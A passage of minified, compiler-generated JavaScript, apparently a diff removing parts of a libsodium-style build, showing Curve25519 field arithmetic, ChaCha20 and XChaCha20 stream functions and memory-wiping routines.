31, 121666, 0), i4 = y4, r11 = Bt2(d5, d5 >> 31, 121666, 0), e6 = y4, Y5 = A8, T3 = r11, A8 = (33554431 & (e6 = (E5 = r11 + 16777216 | 0) >>> 0 < 16777216 ? e6 + 1 | 0 : e6)) << 7 | E5 >>> 25, e6 = (e6 >> 25) + i4 | 0, e6 = (r11 = Y5 + A8 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, i4 = (w5 = r11 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6, m5 = r11 - (-67108864 & w5) | 0, a4[n9 + 112 >> 2] = m5, A8 = Bt2(C5, C5 >> 31, 121666, 0), h5 = y4, r11 = Bt2(o5, o5 >> 31, 121666, 0), e6 = y4, Y5 = A8, R5 = r11, A8 = (33554431 & (e6 = (g5 = r11 + 16777216 | 0) >>> 0 < 16777216 ? e6 + 1 | 0 : e6)) << 7 | g5 >>> 25, e6 = (e6 >> 25) + h5 | 0, e6 = (r11 = Y5 + A8 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = (o5 = r11 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6, C5 = r11 - (-67108864 & o5) | 0, a4[n9 + 120 >> 2] = C5, h5 = Bt2(S5, S5 >> 31, 121666, 0), f5 = y4, r11 = Bt2(F5, F5 >> 31, 121666, 0), e6 = y4, S5 = r11, r11 = (33554431 & (e6 = (d5 = r11 + 16777216 | 0) >>> 0 < 16777216 ? e6 + 1 | 0 : e6)) << 7 | d5 >>> 25, e6 = (e6 >> 25) + f5 | 0, e6 = r11 >>> 0 > (h5 = r11 + h5 | 0) >>> 0 ? e6 + 1 | 0 : e6, r11 = (p5 = h5 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6, f5 = h5 - (-67108864 & p5) | 0, a4[n9 + 128 >> 2] = f5, h5 = (u5 = T3 + ((67108863 & u5) << 6 | B5 >>> 26) | 0) - (-33554432 & E5) | 0, a4[n9 + 108 >> 2] = h5, u5 = (i4 = R5 + ((67108863 & i4) << 6 | w5 >>> 26) | 0) - (-33554432 & g5) | 0, a4[n9 + 116 >> 2] = u5, i4 = (e6 = S5 + ((67108863 & A8) << 6 | o5 >>> 26) | 0) - (-33554432 & d5) | 0, a4[n9 + 124 >> 2] = i4, r11 = (r11 = W3 + ((67108863 & r11) << 6 | p5 >>> 26) | 0) - (-33554432 & l5) | 0, a4[n9 + 132 >> 2] = r11, b4(e6 = n9 + 144 | 0, e6), a4[n9 + 84 >> 2] = r11 + z4, a4[n9 + 80 >> 2] = f5 + M5, a4[n9 + 76 >> 2] = i4 + x5, a4[n9 + 72 >> 2] = C5 + J5, a4[n9 + 68 >> 2] = u5 + j5, a4[n9 + 64 >> 2] = m5 + O5, a4[n9 + 60 >> 2] = h5 + K5, a4[n9 + 56 >> 2] = k5 + L5, a4[n9 + 52 >> 2] = Q5 + H5, a4[n9 + 48 >> 2] = _5 + V3, r11 = wt3 - 1 | 0, v4(q4, n9 + 288 | 0, D5), v4(D5, n9, P5), wt3; ) - ; - C5 = a4[n9 + 144 >> 2], _5 = a4[n9 + 240 >> 2], d5 = a4[n9 + 148 >> 2], Q5 = a4[n9 + 244 >> 2], p5 = a4[n9 + 152 >> 2], B5 = a4[n9 + 248 >> 2], f5 = a4[n9 + 156 >> 2], k5 = a4[n9 + 252 >> 2], h5 = a4[n9 + 160 >> 2], E5 = a4[n9 + 256 >> 2], u5 = a4[n9 + 164 >> 2], w5 = a4[n9 + 260 >> 2], i4 = a4[n9 + 168 >> 2], m5 = a4[n9 + 264 >> 2], A8 = a4[n9 + 172 >> 2], g5 = a4[n9 + 268 >> 2], r11 = a4[n9 + 176 >> 2], o5 = a4[n9 + 272 >> 2], l5 = 0 - Z3 | 0, e6 = a4[n9 + 276 >> 2], a4[n9 + 276 >> 2] = l5 & (e6 ^ a4[n9 + 180 >> 2]) ^ e6, a4[n9 + 272 >> 2] = o5 ^ l5 & (r11 ^ o5), a4[n9 + 268 >> 2] = g5 ^ l5 & (A8 ^ g5), a4[n9 + 264 >> 2] = m5 ^ l5 & (i4 ^ m5), a4[n9 + 260 >> 2] = w5 ^ l5 & (u5 ^ w5), a4[n9 + 256 >> 2] = E5 ^ l5 & (h5 ^ E5), a4[n9 + 252 >> 2] = k5 ^ l5 & (f5 ^ k5), a4[n9 + 248 >> 2] = B5 ^ l5 & (p5 ^ B5), a4[n9 + 244 >> 2] = Q5 ^ l5 & (d5 ^ Q5), a4[n9 + 240 >> 2] = _5 ^ l5 & (C5 ^ _5), _5 = a4[n9 + 192 >> 2], C5 = a4[n9 + 96 >> 2], Q5 = a4[n9 + 196 >> 2], d5 = a4[n9 + 100 >> 2], B5 = a4[n9 + 200 >> 2], p5 = a4[n9 + 104 >> 2], k5 = a4[n9 + 204 >> 2], f5 = a4[n9 + 108 >> 2], E5 = a4[n9 + 208 >> 2], h5 = a4[n9 + 112 >> 2], w5 = a4[n9 + 212 >> 2], u5 = a4[n9 + 116 >> 2], m5 = a4[n9 + 216 >> 2], i4 = a4[n9 + 120 >> 2], g5 = a4[n9 + 220 >> 2], A8 = a4[n9 + 124 >> 2], o5 = a4[n9 + 224 >> 2], r11 = a4[n9 + 128 >> 2], e6 = a4[n9 + 228 >> 2], a4[n9 + 228 >> 2] = l5 & (e6 ^ a4[n9 + 132 >> 2]) ^ e6, a4[n9 + 224 >> 2] = o5 ^ l5 & (r11 ^ o5), a4[n9 + 220 >> 2] = g5 ^ l5 & (A8 ^ g5), a4[n9 + 216 >> 2] = m5 ^ l5 & (i4 ^ m5), a4[n9 + 212 >> 2] = w5 ^ l5 & (u5 ^ w5), a4[n9 + 208 >> 2] = E5 ^ l5 & (h5 ^ E5), a4[n9 + 204 >> 2] = k5 ^ l5 & (f5 ^ k5), a4[n9 + 200 >> 2] = B5 ^ l5 & (p5 ^ B5), a4[n9 + 196 >> 2] = Q5 ^ l5 & (d5 ^ Q5), a4[n9 + 192 >> 2] = _5 ^ l5 & (C5 ^ _5), X2(D5, D5), v4(N6, N6, D5), et2(t7, N6), oe2(vt3, 32), A8 = 0; - } - return I4 = n9 + 368 | 0, 0 | A8; - }, function(t7, e6) { - var r11, n9, A8, i4, o5, h5, g5, u5, l5, f5, p5, d5, y5, C5, m5, B5, E5, w5, _5, Q5; - return e6 |= 0, I4 = r11 = I4 - 304 | 0, s4[0 | (t7 |= 0)] = c4[0 | e6], s4[t7 + 1 | 0] = c4[e6 + 1 | 0], s4[t7 + 2 | 0] = c4[e6 + 2 | 0], s4[t7 + 3 | 0] = c4[e6 + 3 | 0], s4[t7 + 4 | 0] = c4[e6 + 4 | 0], s4[t7 + 5 | 0] = c4[e6 + 5 | 0], s4[t7 + 6 | 0] = c4[e6 + 6 | 0], s4[t7 + 7 | 0] = c4[e6 + 7 | 0], s4[t7 + 8 | 0] = c4[e6 + 8 | 0], s4[t7 + 9 | 0] = c4[e6 + 9 | 0], s4[t7 + 10 | 0] = c4[e6 + 10 | 0], s4[t7 + 11 | 0] = c4[e6 + 11 | 0], s4[t7 + 12 | 0] = c4[e6 + 12 | 0], s4[t7 + 13 | 0] = c4[e6 + 13 | 0], s4[t7 + 14 | 0] = c4[e6 + 14 | 0], s4[t7 + 15 | 0] = c4[e6 + 15 | 0], s4[t7 + 16 | 0] = c4[e6 + 16 | 0], s4[t7 + 17 | 0] = c4[e6 + 17 | 0], s4[t7 + 18 | 0] = c4[e6 + 18 | 0], s4[t7 + 19 | 0] = c4[e6 + 19 | 0], s4[t7 + 20 | 0] = c4[e6 + 20 | 0], s4[t7 + 21 | 0] = c4[e6 + 21 | 0], s4[t7 + 22 | 0] = c4[e6 + 22 | 0], s4[t7 + 23 | 0] = c4[e6 + 23 | 0], s4[t7 + 24 | 0] = c4[e6 + 24 | 0], s4[t7 + 25 | 0] = c4[e6 + 25 | 0], s4[t7 + 26 | 0] = c4[e6 + 26 | 0], s4[t7 + 27 | 0] = c4[e6 + 27 | 0], s4[t7 + 28 | 0] = c4[e6 + 28 | 0], s4[t7 + 29 | 0] = c4[e6 + 29 | 0], s4[t7 + 30 | 0] = c4[e6 + 30 | 0], e6 = c4[e6 + 31 | 0], s4[0 | t7] = 248 & c4[0 | t7], s4[t7 + 31 | 0] = 63 & e6 | 64, H4(r11 + 48 | 0, t7), e6 = a4[r11 + 132 >> 2], n9 = a4[r11 + 92 >> 2], A8 = a4[r11 + 136 >> 2], i4 = a4[r11 + 96 >> 2], o5 = a4[r11 + 140 >> 2], h5 = a4[r11 + 100 >> 2], g5 = a4[r11 + 144 >> 2], u5 = a4[r11 + 104 >> 2], l5 = a4[r11 + 148 >> 2], f5 = a4[r11 + 108 >> 2], p5 = a4[r11 + 152 >> 2], d5 = a4[r11 + 112 >> 2], y5 = a4[r11 + 156 >> 2], C5 = a4[r11 + 116 >> 2], m5 = a4[r11 + 160 >> 2], B5 = a4[r11 + 120 >> 2], E5 = a4[r11 + 128 >> 2], w5 = a4[r11 + 88 >> 2], _5 = a4[r11 + 124 >> 2], Q5 = a4[r11 + 164 >> 2], a4[r11 + 292 >> 2] = _5 + Q5, a4[r11 + 288 >> 2] = m5 + B5, a4[r11 + 284 >> 2] = y5 + C5, a4[r11 + 280 >> 2] = p5 + d5, a4[r11 + 276 >> 2] = l5 + f5, a4[r11 + 272 >> 2] = g5 + u5, a4[r11 + 268 >> 2] = o5 + h5, a4[r11 + 264 >> 2] = A8 + i4, a4[r11 + 260 >> 2] = e6 + n9, a4[r11 + 256 >> 2] = E5 + w5, a4[r11 + 244 >> 2] = Q5 - _5, a4[r11 + 240 >> 2] = m5 - B5, a4[r11 + 236 >> 2] = y5 - C5, a4[r11 + 232 >> 2] = p5 - d5, a4[r11 + 228 >> 2] = l5 - f5, a4[r11 + 224 >> 2] = g5 - u5, a4[r11 + 220 >> 2] = o5 - h5, a4[r11 + 216 >> 2] = A8 - i4, a4[r11 + 212 >> 2] = e6 - n9, a4[r11 + 208 >> 2] = E5 - w5, X2(e6 = r11 + 208 | 0, e6), v4(r11, r11 + 256 | 0, e6), et2(t7, r11), I4 = r11 + 304 | 0, 0; - }, function(t7, e6, r11, n9, A8) { - t7 |= 0, n9 |= 0, A8 |= 0; - var i4, o5 = 0, h5 = 0, g5 = 0, u5 = 0; - if (I4 = i4 = I4 - 112 | 0, (e6 |= 0) | (r11 |= 0)) { - o5 = c4[A8 + 28 | 0] | c4[A8 + 29 | 0] << 8 | c4[A8 + 30 | 0] << 16 | c4[A8 + 31 | 0] << 24, a4[i4 + 24 >> 2] = c4[A8 + 24 | 0] | c4[A8 + 25 | 0] << 8 | c4[A8 + 26 | 0] << 16 | c4[A8 + 27 | 0] << 24, a4[i4 + 28 >> 2] = o5, o5 = c4[A8 + 20 | 0] | c4[A8 + 21 | 0] << 8 | c4[A8 + 22 | 0] << 16 | c4[A8 + 23 | 0] << 24, a4[i4 + 16 >> 2] = c4[A8 + 16 | 0] | c4[A8 + 17 | 0] << 8 | c4[A8 + 18 | 0] << 16 | c4[A8 + 19 | 0] << 24, a4[i4 + 20 >> 2] = o5, o5 = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, a4[i4 >> 2] = c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, a4[i4 + 4 >> 2] = o5, o5 = c4[A8 + 12 | 0] | c4[A8 + 13 | 0] << 8 | c4[A8 + 14 | 0] << 16 | c4[A8 + 15 | 0] << 24, a4[i4 + 8 >> 2] = c4[A8 + 8 | 0] | c4[A8 + 9 | 0] << 8 | c4[A8 + 10 | 0] << 16 | c4[A8 + 11 | 0] << 24, a4[i4 + 12 >> 2] = o5, A8 = c4[0 | n9] | c4[n9 + 1 | 0] << 8 | c4[n9 + 2 | 0] << 16 | c4[n9 + 3 | 0] << 24, n9 = c4[n9 + 4 | 0] | c4[n9 + 5 | 0] << 8 | c4[n9 + 6 | 0] << 16 | c4[n9 + 7 | 0] << 24, a4[i4 + 104 >> 2] = 0, a4[i4 + 108 >> 2] = 0, a4[i4 + 96 >> 2] = A8, a4[i4 + 100 >> 2] = n9; - t: { - if (!r11 & e6 >>> 0 >= 64 | r11) { - for (; M4(t7, i4 + 96 | 0, i4), n9 = c4[i4 + 104 | 0] + 1 | 0, s4[i4 + 104 | 0] = n9, n9 = c4[i4 + 105 | 0] + (n9 >>> 8 | 0) | 0, s4[i4 + 105 | 0] = n9, n9 = c4[i4 + 106 | 0] + (n9 >>> 8 | 0) | 0, s4[i4 + 106 | 0] = n9, n9 = c4[i4 + 107 | 0] + (n9 >>> 8 | 0) | 0, s4[i4 + 107 | 0] = n9, n9 = c4[i4 + 108 | 0] + (n9 >>> 8 | 0) | 0, s4[i4 + 108 | 0] = n9, n9 = c4[i4 + 109 | 0] + (n9 >>> 8 | 0) | 0, s4[i4 + 109 | 0] = n9, n9 = c4[i4 + 110 | 0] + (n9 >>> 8 | 0) | 0, s4[i4 + 110 | 0] = n9, s4[i4 + 111 | 0] = c4[i4 + 111 | 0] + (n9 >>> 8 | 0), t7 = t7 - -64 | 0, r11 = r11 - 1 | 0, !(r11 = (e6 = e6 + -64 | 0) >>> 0 < 4294967232 ? r11 + 1 | 0 : r11) & e6 >>> 0 > 63 | r11; ) - ; - if (!(e6 | r11)) - break t; - } - if (n9 = 0, M4(i4 + 32 | 0, i4 + 96 | 0, i4), r11 = 3 & e6, A8 = 0, e6 - 1 >>> 0 >= 3) - for (o5 = -4 & e6, e6 = 0; h5 = g5 = i4 + 32 | 0, s4[t7 + A8 | 0] = c4[h5 + A8 | 0], s4[(u5 = 1 | A8) + t7 | 0] = c4[h5 + u5 | 0], s4[(h5 = 2 | A8) + t7 | 0] = c4[h5 + g5 | 0], s4[(h5 = 3 | A8) + t7 | 0] = c4[h5 + (i4 + 32 | 0) | 0], A8 = A8 + 4 | 0, (0 | o5) != (0 | (e6 = e6 + 4 | 0)); ) - ; - if (r11) - for (; s4[t7 + A8 | 0] = c4[(i4 + 32 | 0) + A8 | 0], A8 = A8 + 1 | 0, (0 | r11) != (0 | (n9 = n9 + 1 | 0)); ) - ; - } - oe2(i4 + 32 | 0, 64), oe2(i4, 32); - } - return I4 = i4 + 112 | 0, 0; - }, function(t7, e6, r11, n9, A8, i4, o5, h5) { - t7 |= 0, e6 |= 0, A8 |= 0, i4 |= 0, o5 |= 0, h5 |= 0; - var g5, u5 = 0; - if (I4 = g5 = I4 - 112 | 0, (r11 |= 0) | (n9 |= 0)) { - u5 = c4[h5 + 28 | 0] | c4[h5 + 29 | 0] << 8 | c4[h5 + 30 | 0] << 16 | c4[h5 + 31 | 0] << 24, a4[g5 + 24 >> 2] = c4[h5 + 24 | 0] | c4[h5 + 25 | 0] << 8 | c4[h5 + 26 | 0] << 16 | c4[h5 + 27 | 0] << 24, a4[g5 + 28 >> 2] = u5, u5 = c4[h5 + 20 | 0] | c4[h5 + 21 | 0] << 8 | c4[h5 + 22 | 0] << 16 | c4[h5 + 23 | 0] << 24, a4[g5 + 16 >> 2] = c4[h5 + 16 | 0] | c4[h5 + 17 | 0] << 8 | c4[h5 + 18 | 0] << 16 | c4[h5 + 19 | 0] << 24, a4[g5 + 20 >> 2] = u5, u5 = c4[h5 + 4 | 0] | c4[h5 + 5 | 0] << 8 | c4[h5 + 6 | 0] << 16 | c4[h5 + 7 | 0] << 24, a4[g5 >> 2] = c4[0 | h5] | c4[h5 + 1 | 0] << 8 | c4[h5 + 2 | 0] << 16 | c4[h5 + 3 | 0] << 24, a4[g5 + 4 >> 2] = u5, u5 = c4[h5 + 12 | 0] | c4[h5 + 13 | 0] << 8 | c4[h5 + 14 | 0] << 16 | c4[h5 + 15 | 0] << 24, a4[g5 + 8 >> 2] = c4[h5 + 8 | 0] | c4[h5 + 9 | 0] << 8 | c4[h5 + 10 | 0] << 16 | c4[h5 + 11 | 0] << 24, a4[g5 + 12 >> 2] = u5, h5 = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, a4[g5 + 96 >> 2] = c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, a4[g5 + 100 >> 2] = h5, s4[g5 + 104 | 0] = i4, s4[g5 + 111 | 0] = o5 >>> 24, s4[g5 + 110 | 0] = o5 >>> 16, s4[g5 + 109 | 0] = o5 >>> 8, s4[g5 + 108 | 0] = o5, s4[g5 + 107 | 0] = (16777215 & o5) << 8 | i4 >>> 24, s4[g5 + 106 | 0] = (65535 & o5) << 16 | i4 >>> 16, s4[g5 + 105 | 0] = (255 & o5) << 24 | i4 >>> 8; - t: { - if (!n9 & r11 >>> 0 >= 64 | n9) { - for (; ; ) { - for (h5 = 0, M4(g5 + 32 | 0, g5 + 96 | 0, g5); i4 = g5 + 32 | 0, s4[t7 + h5 | 0] = c4[i4 + h5 | 0] ^ c4[e6 + h5 | 0], s4[(A8 = 1 | h5) + t7 | 0] = c4[A8 + i4 | 0] ^ c4[e6 + A8 | 0], 64 != (0 | (h5 = h5 + 2 | 0)); ) - ; - if (A8 = c4[g5 + 104 | 0] + 1 | 0, s4[g5 + 104 | 0] = A8, A8 = c4[g5 + 105 | 0] + (A8 >>> 8 | 0) | 0, s4[g5 + 105 | 0] = A8, A8 = c4[g5 + 106 | 0] + (A8 >>> 8 | 0) | 0, s4[g5 + 106 | 0] = A8, A8 = c4[g5 + 107 | 0] + (A8 >>> 8 | 0) | 0, s4[g5 + 107 | 0] = A8, A8 = c4[g5 + 108 | 0] + (A8 >>> 8 | 0) | 0, s4[g5 + 108 | 0] = A8, A8 = c4[g5 + 109 | 0] + (A8 >>> 8 | 0) | 0, s4[g5 + 109 | 0] = A8, A8 = c4[g5 + 110 | 0] + (A8 >>> 8 | 0) | 0, s4[g5 + 110 | 0] = A8, s4[g5 + 111 | 0] = c4[g5 + 111 | 0] + (A8 >>> 8 | 0), e6 = e6 - -64 | 0, t7 = t7 - -64 | 0, n9 = n9 - 1 | 0, !(!(n9 = (r11 = r11 + -64 | 0) >>> 0 < 4294967232 ? n9 + 1 | 0 : n9) & r11 >>> 0 > 63 | n9)) - break; - } - if (!(r11 | n9)) - break t; - } - if (h5 = 0, M4(g5 + 32 | 0, g5 + 96 | 0, g5), n9 = 1 & r11, 1 != (0 | r11)) - for (i4 = -2 & r11, A8 = 0; o5 = g5 + 32 | 0, s4[t7 + h5 | 0] = c4[o5 + h5 | 0] ^ c4[e6 + h5 | 0], s4[(r11 = 1 | h5) + t7 | 0] = c4[r11 + o5 | 0] ^ c4[e6 + r11 | 0], h5 = h5 + 2 | 0, (0 | i4) != (0 | (A8 = A8 + 2 | 0)); ) - ; - n9 && (s4[t7 + h5 | 0] = c4[(g5 + 32 | 0) + h5 | 0] ^ c4[e6 + h5 | 0]); - } - oe2(g5 + 32 | 0, 64), oe2(g5, 32); - } - return I4 = g5 + 112 | 0, 0; - }, function(t7, e6, r11, n9, A8) { - var i4; - return t7 |= 0, n9 |= 0, A8 |= 0, I4 = i4 = I4 + -64 | 0, (e6 |= 0) | (r11 |= 0) && (a4[i4 + 8 >> 2] = 2036477234, a4[i4 + 12 >> 2] = 1797285236, a4[i4 >> 2] = 1634760805, a4[i4 + 4 >> 2] = 857760878, a4[i4 + 16 >> 2] = c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, a4[i4 + 20 >> 2] = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, a4[i4 + 24 >> 2] = c4[A8 + 8 | 0] | c4[A8 + 9 | 0] << 8 | c4[A8 + 10 | 0] << 16 | c4[A8 + 11 | 0] << 24, a4[i4 + 28 >> 2] = c4[A8 + 12 | 0] | c4[A8 + 13 | 0] << 8 | c4[A8 + 14 | 0] << 16 | c4[A8 + 15 | 0] << 24, a4[i4 + 32 >> 2] = c4[A8 + 16 | 0] | c4[A8 + 17 | 0] << 8 | c4[A8 + 18 | 0] << 16 | c4[A8 + 19 | 0] << 24, a4[i4 + 36 >> 2] = c4[A8 + 20 | 0] | c4[A8 + 21 | 0] << 8 | c4[A8 + 22 | 0] << 16 | c4[A8 + 23 | 0] << 24, a4[i4 + 40 >> 2] = c4[A8 + 24 | 0] | c4[A8 + 25 | 0] << 8 | c4[A8 + 26 | 0] << 16 | c4[A8 + 27 | 0] << 24, A8 = c4[A8 + 28 | 0] | c4[A8 + 29 | 0] << 8 | c4[A8 + 30 | 0] << 16 | c4[A8 + 31 | 0] << 24, a4[i4 + 48 >> 2] = 0, a4[i4 + 52 >> 2] = 0, a4[i4 + 44 >> 2] = A8, a4[i4 + 56 >> 2] = c4[0 | n9] | c4[n9 + 1 | 0] << 8 | c4[n9 + 2 | 0] << 16 | c4[n9 + 3 | 0] << 24, a4[i4 + 60 >> 2] = c4[n9 + 4 | 0] | c4[n9 + 5 | 0] << 8 | c4[n9 + 6 | 0] << 16 | c4[n9 + 7 | 0] << 24, k4(i4, t7 = xt2(t7, 0, e6), t7, e6, r11), oe2(i4, 64)), I4 = i4 - -64 | 0, 0; - }, function(t7, e6, r11, n9, A8) { - var i4; - return t7 |= 0, n9 |= 0, A8 |= 0, I4 = i4 = I4 + -64 | 0, (e6 |= 0) | (r11 |= 0) && (a4[i4 + 8 >> 2] = 2036477234, a4[i4 + 12 >> 2] = 1797285236, a4[i4 >> 2] = 1634760805, a4[i4 + 4 >> 2] = 857760878, a4[i4 + 16 >> 2] = c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, a4[i4 + 20 >> 2] = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, a4[i4 + 24 >> 2] = c4[A8 + 8 | 0] | c4[A8 + 9 | 0] << 8 | c4[A8 + 10 | 0] << 16 | c4[A8 + 11 | 0] << 24, a4[i4 + 28 >> 2] = c4[A8 + 12 | 0] | c4[A8 + 13 | 0] << 8 | c4[A8 + 14 | 0] << 16 | c4[A8 + 15 | 0] << 24, a4[i4 + 32 >> 2] = c4[A8 + 16 | 0] | c4[A8 + 17 | 0] << 8 | c4[A8 + 18 | 0] << 16 | c4[A8 + 19 | 0] << 24, a4[i4 + 36 >> 2] = c4[A8 + 20 | 0] | c4[A8 + 21 | 0] << 8 | c4[A8 + 22 | 0] << 16 | c4[A8 + 23 | 0] << 24, a4[i4 + 40 >> 2] = c4[A8 + 24 | 0] | c4[A8 + 25 | 0] << 8 | c4[A8 + 26 | 0] << 16 | c4[A8 + 27 | 0] << 24, A8 = c4[A8 + 28 | 0] | c4[A8 + 29 | 0] << 8 | c4[A8 + 30 | 0] << 16 | c4[A8 + 31 | 0] << 24, a4[i4 + 48 >> 2] = 0, a4[i4 + 44 >> 2] = A8, a4[i4 + 52 >> 2] = c4[0 | n9] | c4[n9 + 1 | 0] << 8 | c4[n9 + 2 | 0] << 16 | c4[n9 + 3 | 0] << 24, a4[i4 + 56 >> 2] = c4[n9 + 4 | 0] | c4[n9 + 5 | 0] << 8 | c4[n9 + 6 | 0] << 16 | c4[n9 + 7 | 0] << 24, a4[i4 + 60 >> 2] = c4[n9 + 8 | 0] | c4[n9 + 9 | 0] << 8 | c4[n9 + 10 | 0] << 16 | c4[n9 + 11 | 0] << 24, k4(i4, t7 = xt2(t7, 0, e6), t7, e6, r11), oe2(i4, 64)), I4 = i4 - -64 | 0, 0; - }, function(t7, e6, r11, n9, A8, i4, o5, s5) { - var h5; - return t7 |= 0, e6 |= 0, A8 |= 0, i4 |= 0, o5 |= 0, s5 |= 0, I4 = h5 = I4 + -64 | 0, (r11 |= 0) | (n9 |= 0) && (a4[h5 + 8 >> 2] = 2036477234, a4[h5 + 12 >> 2] = 1797285236, a4[h5 >> 2] = 1634760805, a4[h5 + 4 >> 2] = 857760878, a4[h5 + 16 >> 2] = c4[0 | s5] | c4[s5 + 1 | 0] << 8 | c4[s5 + 2 | 0] << 16 | c4[s5 + 3 | 0] << 24, a4[h5 + 20 >> 2] = c4[s5 + 4 | 0] | c4[s5 + 5 | 0] << 8 | c4[s5 + 6 | 0] << 16 | c4[s5 + 7 | 0] << 24, a4[h5 + 24 >> 2] = c4[s5 + 8 | 0] | c4[s5 + 9 | 0] << 8 | c4[s5 + 10 | 0] << 16 | c4[s5 + 11 | 0] << 24, a4[h5 + 28 >> 2] = c4[s5 + 12 | 0] | c4[s5 + 13 | 0] << 8 | c4[s5 + 14 | 0] << 16 | c4[s5 + 15 | 0] << 24, a4[h5 + 32 >> 2] = c4[s5 + 16 | 0] | c4[s5 + 17 | 0] << 8 | c4[s5 + 18 | 0] << 16 | c4[s5 + 19 | 0] << 24, a4[h5 + 36 >> 2] = c4[s5 + 20 | 0] | c4[s5 + 21 | 0] << 8 | c4[s5 + 22 | 0] << 16 | c4[s5 + 23 | 0] << 24, a4[h5 + 40 >> 2] = c4[s5 + 24 | 0] | c4[s5 + 25 | 0] << 8 | c4[s5 + 26 | 0] << 16 | c4[s5 + 27 | 0] << 24, a4[h5 + 44 >> 2] = c4[s5 + 28 | 0] | c4[s5 + 29 | 0] << 8 | c4[s5 + 30 | 0] << 16 | c4[s5 + 31 | 0] << 24, a4[h5 + 48 >> 2] = i4, a4[h5 + 52 >> 2] = o5, a4[h5 + 56 >> 2] = c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, a4[h5 + 60 >> 2] = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, k4(h5, e6, t7, r11, n9), oe2(h5, 64)), I4 = h5 - -64 | 0, 0; - }, function(t7, e6, r11, n9, A8, i4, o5) { - var s5; - return t7 |= 0, e6 |= 0, A8 |= 0, i4 |= 0, o5 |= 0, I4 = s5 = I4 + -64 | 0, (r11 |= 0) | (n9 |= 0) && (a4[s5 + 8 >> 2] = 2036477234, a4[s5 + 12 >> 2] = 1797285236, a4[s5 >> 2] = 1634760805, a4[s5 + 4 >> 2] = 857760878, a4[s5 + 16 >> 2] = c4[0 | o5] | c4[o5 + 1 | 0] << 8 | c4[o5 + 2 | 0] << 16 | c4[o5 + 3 | 0] << 24, a4[s5 + 20 >> 2] = c4[o5 + 4 | 0] | c4[o5 + 5 | 0] << 8 | c4[o5 + 6 | 0] << 16 | c4[o5 + 7 | 0] << 24, a4[s5 + 24 >> 2] = c4[o5 + 8 | 0] | c4[o5 + 9 | 0] << 8 | c4[o5 + 10 | 0] << 16 | c4[o5 + 11 | 0] << 24, a4[s5 + 28 >> 2] = c4[o5 + 12 | 0] | c4[o5 + 13 | 0] << 8 | c4[o5 + 14 | 0] << 16 | c4[o5 + 15 | 0] << 24, a4[s5 + 32 >> 2] = c4[o5 + 16 | 0] | c4[o5 + 17 | 0] << 8 | c4[o5 + 18 | 0] << 16 | c4[o5 + 19 | 0] << 24, a4[s5 + 36 >> 2] = c4[o5 + 20 | 0] | c4[o5 + 21 | 0] << 8 | c4[o5 + 22 | 0] << 16 | c4[o5 + 23 | 0] << 24, a4[s5 + 40 >> 2] = c4[o5 + 24 | 0] | c4[o5 + 25 | 0] << 8 | c4[o5 + 26 | 0] << 16 | c4[o5 + 27 | 0] << 24, o5 = c4[o5 + 28 | 0] | c4[o5 + 29 | 0] << 8 | c4[o5 + 30 | 0] << 16 | c4[o5 + 31 | 0] << 24, a4[s5 + 48 >> 2] = i4, a4[s5 + 44 >> 2] = o5, a4[s5 + 52 >> 2] = c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, a4[s5 + 56 >> 2] = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, a4[s5 + 60 >> 2] = c4[A8 + 8 | 0] | c4[A8 + 9 | 0] << 8 | c4[A8 + 10 | 0] << 16 | c4[A8 + 11 | 0] << 24, k4(s5, e6, t7, r11, n9), oe2(s5, 64)), I4 = s5 - -64 | 0, 0; - }], de2.grow = function(t7) { - var e6 = this.length; - return this.length = this.length + t7, e6; - }, de2.set = function(t7, e6) { - this[t7] = e6; - }, de2.get = function(t7) { - return this[t7]; - }, de2); - function ye2() { - return o4.byteLength / 65536 | 0; - } - return { f: function() { - }, g: function(t7, e6, r11, n9, A8, i4, o5, s5, a5, c5, h5, g5) { - return 0 | yt2(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, (t7 = 0) | (A8 |= 0), i4 |= 0, o5 |= 0, t7 | (s5 |= 0), a5 |= 0, h5 |= 0, g5 |= 0); - }, h: function(t7, e6, r11, n9, A8, o5, s5, c5, h5, g5, u5) { - return t7 |= 0, e6 |= 0, n9 |= 0, s5 |= 0, h5 |= 0, s5 |= h5 = 0, !(A8 |= 0) & (n9 |= h5) >>> 0 < 4294967280 ? (yt2(t7, t7 + n9 | 0, 0, r11 |= 0, n9, A8, o5 |= 0, s5, c5 |= 0, g5 |= 0, u5 |= 0), e6 && (A8 = (t7 = n9 + 16 | 0) >>> 0 < 16 ? A8 + 1 | 0 : A8, a4[e6 >> 2] = t7, a4[e6 + 4 >> 2] = A8)) : (Kt2(), i3()), 0; - }, i: function(t7, e6, r11, n9, A8, i4, o5, s5, a5, c5, h5, g5) { - return 0 | 